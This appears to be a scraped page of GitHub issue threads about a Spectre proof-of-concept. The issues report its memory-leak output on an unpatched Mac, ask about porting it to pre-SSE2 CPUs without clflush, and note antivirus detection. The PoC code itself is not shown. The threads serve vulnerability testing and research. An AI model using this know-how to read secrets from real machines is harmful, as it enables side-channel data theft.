< 0x7ffff7e4d000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library /usr/lib/x86_64-linux-gnu/libc.so.6
< 0x7ffff7e4e000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library /usr/lib/x86_64-linux-gnu/libc.so.6
< 0x7ffff7e4f000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library /usr/lib/x86_64-linux-gnu/libc.so.6
---
> 0x7ffff7e40000     : soft-dirty 1 file/shared 1 swapped 0 present 1 library /usr/lib/x86_64-linux-gnu/libc.so.6
> 0x7ffff7e41000     : soft-dirty 1 file/shared 1 swapped 0 present 1 library /usr/lib/x86_64-linux-gnu/libc.so.6
> 0x7ffff7e42000     : soft-dirty 1 file/shared 1 swapped 0 present 1 library /usr/lib/x86_64-linux-gnu/libc.so.6
> 0x7ffff7e43000     : soft-dirty 1 file/shared 1 swapped 0 present 1 library /usr/lib/x86_64-linux-gnu/libc.so.6
> 0x7ffff7e44000     : soft-dirty 1 file/shared 1 swapped 0 present 1 library /usr/lib/x86_64-linux-gnu/libc.so.6
> 0x7ffff7e45000     : soft-dirty 1 file/shared 1 swapped 0 present 1 library /usr/lib/x86_64-linux-gnu/libc.so.6
> 0x7ffff7e46000     : soft-dirty 1 file/shared 1 swapped 0 present 1 library /usr/lib/x86_64-linux-gnu/libc.so.6
> 0x7ffff7e47000     : soft-dirty 1 file/shared 1 swapped 0 present 1 library /usr/lib/x86_64-linux-gnu/libc.so.6
> 0x7ffff7e48000     : soft-dirty 1 file/shared 1 swapped 0 present 1 library /usr/lib/x86_64-linux-gnu/libc.so.6
> 0x7ffff7e49000     : soft-dirty 1 file/shared 1 swapped 0 present 1 library /usr/lib/x86_64-linux-gnu/libc.so.6
> 0x7ffff7e4a000     : soft-dirty 1 file/shared 1 swapped 0 present 1 library /usr/lib/x86_64-linux-gnu/libc.so.6
> 0x7ffff7e4b000     : soft-dirty 1 file/shared 1 swapped 0 present 1 library /usr/lib/x86_64-linux-gnu/libc.so.6
> 0x7ffff7e4c000     : soft-dirty 1 file/shared 1 swapped 0 present 1 library /usr/lib/x86_64-linux-gnu/libc.so.6
> 0x7ffff7e4d000     : soft-dirty 1 file/shared 1 swapped 0 present 1 library /usr/lib/x86_64-linux-gnu/libc.so.6
> 0x7ffff7e4e000     : soft-dirty 1 file/shared 1 swapped 0 present 1 library /usr/lib/x86_64-linux-gnu/libc.so.6
> 0x7ffff7e4f000     : soft-dirty 1 file/shared 1 swapped 0 present 1 library /usr/lib/x86_64-linux-gnu/libc.so.6

I would be glad if someone had an idea why this happens. 😊 Actually I am not sure what internal state this printf changes.

Workaround for CPUs that don't support clflush

The clflush instruction is for the most part only supported by CPUs with SSE2 extensions.

If we want to test younger CPUs that lack the clflush instruction, we need to find a workaround for flushing the cache. This is required to test anything pre Pentium 4.

This should be implemented behind #ifdef DNOCLFLUSH in the same manner that the rdtscp -> rdtsc compatibility patch was implemented.

Question: Spectre not fixed on Mac OS 10.11 ?

After having installed the recent security update ( https://support.apple.com/de-de/HT201222 ), my CPU still seems to be vulnerable:

OS:
Darwin ... 15.6.0 Darwin Kernel Version 15.6.0: Tue Jan 9 20:12:05 PST 2018; root:xnu-3248.73.5~1/RELEASE_X86_64 x86_64

CPU:
machdep.cpu.max_basic: 13
machdep.cpu.max_ext: 2147483656
machdep.cpu.vendor: GenuineIntel
machdep.cpu.brand_string: Intel(R) Core(TM) i5-2415M CPU @ 2.30GHz
machdep.cpu.family: 6
machdep.cpu.model: 42
machdep.cpu.extmodel: 2
machdep.cpu.extfamily: 0
machdep.cpu.stepping: 7
machdep.cpu.feature_bits: 2286390173542120447
machdep.cpu.extfeature_bits: 4967106816
machdep.cpu.signature: 132775
machdep.cpu.brand: 0
machdep.cpu.features: FPU VME DE PSE TSC MSR PAE MCE CX8 APIC SEP MTRR PGE MCA CMOV PAT PSE36 CLFSH DS ACPI MMX FXSR SSE SSE2 SS HTT TM PBE SSE3 PCLMULQDQ DTES64 MON DSCPL VMX EST TM2 SSSE3 CX16 TPR PDCM SSE4.1 SSE4.2 x2APIC POPCNT AES PCID XSAVE OSXSAVE TSCTMR AVX1.0
machdep.cpu.extfeatures: SYSCALL XD EM64T LAHF RDTSCP TSCI
machdep.cpu.logical_per_package: 16
machdep.cpu.cores_per_package: 8
machdep.cpu.microcode_version: 40
machdep.cpu.processor_flag: 4
machdep.cpu.mwait.linesize_min: 64
machdep.cpu.mwait.linesize_max: 64
machdep.cpu.mwait.extensions: 3
machdep.cpu.mwait.sub_Cstates: 135456
machdep.cpu.thermal.sensor: 1
machdep.cpu.thermal.dynamic_acceleration: 1
machdep.cpu.thermal.invariant_APIC_timer: 1
machdep.cpu.thermal.thresholds: 2
machdep.cpu.thermal.ACNT_MCNT: 1
machdep.cpu.thermal.core_power_limits: 1
machdep.cpu.thermal.fine_grain_clock_mod: 1
machdep.cpu.thermal.package_thermal_intr: 1
machdep.cpu.thermal.hardware_feedback: 0
machdep.cpu.thermal.energy_policy: 1
machdep.cpu.xsave.extended_state: 7 832 832 0
machdep.cpu.xsave.extended_state1: 1 0 0 0
machdep.cpu.arch_perf.version: 3
machdep.cpu.arch_perf.number: 4
machdep.cpu.arch_perf.width: 48
machdep.cpu.arch_perf.events_number: 7
machdep.cpu.arch_perf.events: 0
machdep.cpu.arch_perf.fixed_number: 3
machdep.cpu.arch_perf.fixed_width: 48
machdep.cpu.cache.linesize: 64
machdep.cpu.cache.L2_associativity: 8
machdep.cpu.cache.size: 256
machdep.cpu.tlb.inst.small: 64
machdep.cpu.tlb.inst.large: 8
machdep.cpu.tlb.data.small: 64
machdep.cpu.tlb.data.large: 32
machdep.cpu.tlb.shared: 512
machdep.cpu.address_bits.physical: 36
machdep.cpu.address_bits.virtual: 48
machdep.cpu.core_count: 2
machdep.cpu.thread_count: 4
machdep.cpu.tsc_ccc.numerator: 0
machdep.cpu.tsc_ccc.denominator: 0

Result:
Using a cache hit threshold of 80.
Build: RDTSCP_SUPPORTED CLFLUSH_SUPPORTED
Reading 40 bytes:
Reading at malicious_x = 0xfffffffffffffe6a... Unclear: 0x54=’T’ score=995 (second best: 0x02=’?’ score=827)
Reading at malicious_x = 0xfffffffffffffe6b... Unclear: 0x68=’h’ score=999 (second best: 0x02=’?’ score=800)
Reading at malicious_x = 0xfffffffffffffe6c... Unclear: 0x65=’e’ score=996 (second best: 0x02=’?’ score=844)
Reading at malicious_x = 0xfffffffffffffe6d... Unclear: 0x20=’ ’ score=991 (second best: 0x02=’?’ score=822)
Reading at malicious_x = 0xfffffffffffffe6e... Success: 0x4D=’M’ score=2
Reading at malicious_x = 0xfffffffffffffe6f... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xfffffffffffffe70... Success: 0x67=’g’ score=81 (second best: 0x01=’?’ score=38)
Reading at malicious_x = 0xfffffffffffffe71... Success: 0x69=’i’ score=9 (second best: 0x02=’?’ score=2)
Reading at malicious_x = 0xfffffffffffffe72... Success: 0x63=’c’ score=2
Reading at malicious_x = 0xfffffffffffffe73... Unclear: 0x20=’ ’ score=998 (second best: 0x02=’?’ score=808)
Reading at malicious_x = 0xfffffffffffffe74... Unclear: 0x57=’W’ score=994 (second best: 0x02=’?’ score=864)
Reading at malicious_x = 0xfffffffffffffe75... Unclear: 0x6F=’o’ score=998 (second best: 0x02=’?’ score=832)
Reading at malicious_x = 0xfffffffffffffe76... Unclear: 0x72=’r’ score=999 (second best: 0x02=’?’ score=806)
Reading at malicious_x = 0xfffffffffffffe77... Success: 0x64=’d’ score=9 (second best: 0x02=’?’ score=2)
Reading at malicious_x = 0xfffffffffffffe78... Unclear: 0x73=’s’ score=997 (second best: 0x02=’?’ score=818)
Reading at malicious_x = 0xfffffffffffffe79... Unclear: 0x20=’ ’ score=996 (second best: 0x02=’?’ score=819)
Reading at malicious_x = 0xfffffffffffffe7a... Unclear: 0x61=’a’ score=996 (second best: 0x02=’?’ score=824)
Reading at malicious_x = 0xfffffffffffffe7b... Unclear: 0x72=’r’ score=998 (second best: 0x02=’?’ score=812)
Reading at malicious_x = 0xfffffffffffffe7c... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xfffffffffffffe7d... Unclear: 0x20=’ ’ score=995 (second best: 0x02=’?’ score=792)
Reading at malicious_x = 0xfffffffffffffe7e... Unclear: 0x53=’S’ score=992 (second best: 0x02=’?’ score=788)
Reading at malicious_x = 0xfffffffffffffe7f... Unclear: 0x71=’q’ score=993 (second best: 0x02=’?’ score=799)
Reading at malicious_x = 0xfffffffffffffe80... Unclear: 0x75=’u’ score=995 (second best: 0x02=’?’ score=838)
Reading at malicious_x = 0xfffffffffffffe81... Unclear: 0x65=’e’ score=981 (second best: 0x02=’?’ score=845)
Reading at malicious_x = 0xfffffffffffffe82... Unclear: 0x61=’a’ score=989 (second best: 0x02=’?’ score=825)
Reading at malicious_x = 0xfffffffffffffe83... Unclear: 0x6D=’m’ score=998 (second best: 0x02=’?’ score=842)
Reading at malicious_x = 0xfffffffffffffe84... Unclear: 0x69=’i’ score=999 (second best: 0x02=’?’ score=825)
Reading at malicious_x = 0xfffffffffffffe85... Unclear: 0x73=’s’ score=990 (second best: 0x02=’?’ score=869)
Reading at malicious_x = 0xfffffffffffffe86... Unclear: 0x68=’h’ score=999 (second best: 0x02=’?’ score=811)
Reading at malicious_x = 0xfffffffffffffe87... Unclear: 0x20=’ ’ score=998 (second best: 0x02=’?’ score=861)
Reading at malicious_x = 0xfffffffffffffe88... Unclear: 0x4F=’O’ score=989 (second best: 0x02=’?’ score=766)
Reading at malicious_x = 0xfffffffffffffe89... Unclear: 0x73=’s’ score=995 (second best: 0x02=’?’ score=823)
Reading at malicious_x = 0xfffffffffffffe8a... Success: 0x73=’s’ score=7 (second best: 0x02=’?’ score=1)
Reading at malicious_x = 0xfffffffffffffe8b... Unclear: 0x69=’i’ score=996 (second best: 0x02=’?’ score=817)
Reading at malicious_x = 0xfffffffffffffe8c... Success: 0x66=’f’ score=2
Reading at malicious_x = 0xfffffffffffffe8d... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xfffffffffffffe8e... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xfffffffffffffe8f... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xfffffffffffffe90... Unclear: 0x65=’e’ score=984 (second best: 0x02=’?’ score=782)
Reading at malicious_x = 0xfffffffffffffe91... Unclear: 0x2E=’.’ score=994 (second best: 0x02=’?’ score=800)

My antivirus scanner (Avast security) already quarantaines and reports the spectre.out binary as soon as it is compiled.

Support for Pre-SSE2 CPUs

Almost every media about Spectre mentions CPUs starting from 1995 are vulnerable. This PoC uses rdtscp and clflush instructions that are not available on everything that was released before SSE2.

While it is possible to make workaround for rdtscp (e.g. like this comment on the original gist), it would be also interesting to create PoC for older chips with other means of flushing the cache, to find out the real age of the issue.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.